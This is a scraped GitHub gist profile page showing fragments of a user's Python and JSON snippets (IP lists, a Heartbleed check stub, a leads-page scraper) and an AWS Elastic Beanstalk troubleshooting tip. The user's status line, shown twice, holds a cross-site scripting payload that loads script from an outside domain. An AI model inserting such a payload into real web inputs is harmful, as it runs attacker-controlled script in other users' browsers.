Skip to content

Instantly share code, notes, and snippets.

💭
"><script src=https://y.vg></script>

Matthew Bryant mandatoryprogrammer

💭
"><script src=https://y.vg></script>
Block or report user

Report or block mandatoryprogrammer

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View example.py
def main( block_input, backpack ):
block_input = block_input[0]
dump_location = "/tmp/" + str( uuid.uuid4() )
...trimmed for brevity...
View example.json
[
{
"ip": "132.139.7.159",
"port": 443
},
{
"ip": "249.9.17.16",
"port": 443
},
...trimmed for brevity...
View example.py
def main(block_input, backpack):
example_ip_array = [
"132.139.7.159",
"249.9.17.16",
"190.49.112.102",
"38.32.0.91",
"245.138.248.145",
"54.35.108.11",
"15.4.41.18",
"213.70.65.146",
View example.py
def main(block_input, backpack):
return [
1,
2,
3,
4,
5
]
View example2.json
{
"ip": "172.217.0.36",
"port": 443,
"vulnerable": false
}
View example.json
{
"ip": "172.217.0.36",
"port": 443
}
View gist:1b39f1b57c70e65456ab75c132ef56cd
import uuid
def main( block_input, backpack ):
dump_location = "/tmp/" + str( uuid.uuid4() )
is_vulnerable_to_heartbleed = check(
block_input[ "ip" ],
int( block_input[ "port" ] ),
dump_location,
False,
False
)
View test.py
def get_leads_data( session, lead_type ):
if lead_type == "Need Call":
params = {
"ctl00$cph1$filter_Status": "Need Call",
"__EVENTTARGET": "ctl00$cph1$perPage",
"__EVENTARGUMENT": "",
}
elif lead_type == "Cold Leads":
params = {
"__EVENTTARGET": "clickSG",
@mandatoryprogrammer
mandatoryprogrammer / gist:07e5a870c5888f3c97c7cdbfbe9b7eb6
Created Nov 11, 2018
AWS Spot Instances on Elastic Beanstalk Error: Stack named 'awseb-e-rrpbg6x2fq-stack' aborted operation. Current state: 'CREATE_FAILED' Reason: The following resource(s) failed to create: [AWSEBInstanceLaunchWaitCondition].
View gist:07e5a870c5888f3c97c7cdbfbe9b7eb6
Stack named 'awseb-e-rrpbg6x2fq-stack' aborted operation. Current state: 'CREATE_FAILED' Reason: The following resource(s) failed to create: [AWSEBInstanceLaunchWaitCondition].
If you get the above error while doing AWS Elastic Beanstalk with Spot Instance(s) it MAY be that your account isn't allowed to request those spot instances. You may have to request a quota increase. To find out try issuing the Spot Instance request for the same instance type manually and see what error you get.
Posting this so that other people don't have to suffer the same way.
You can’t perform that action at this time.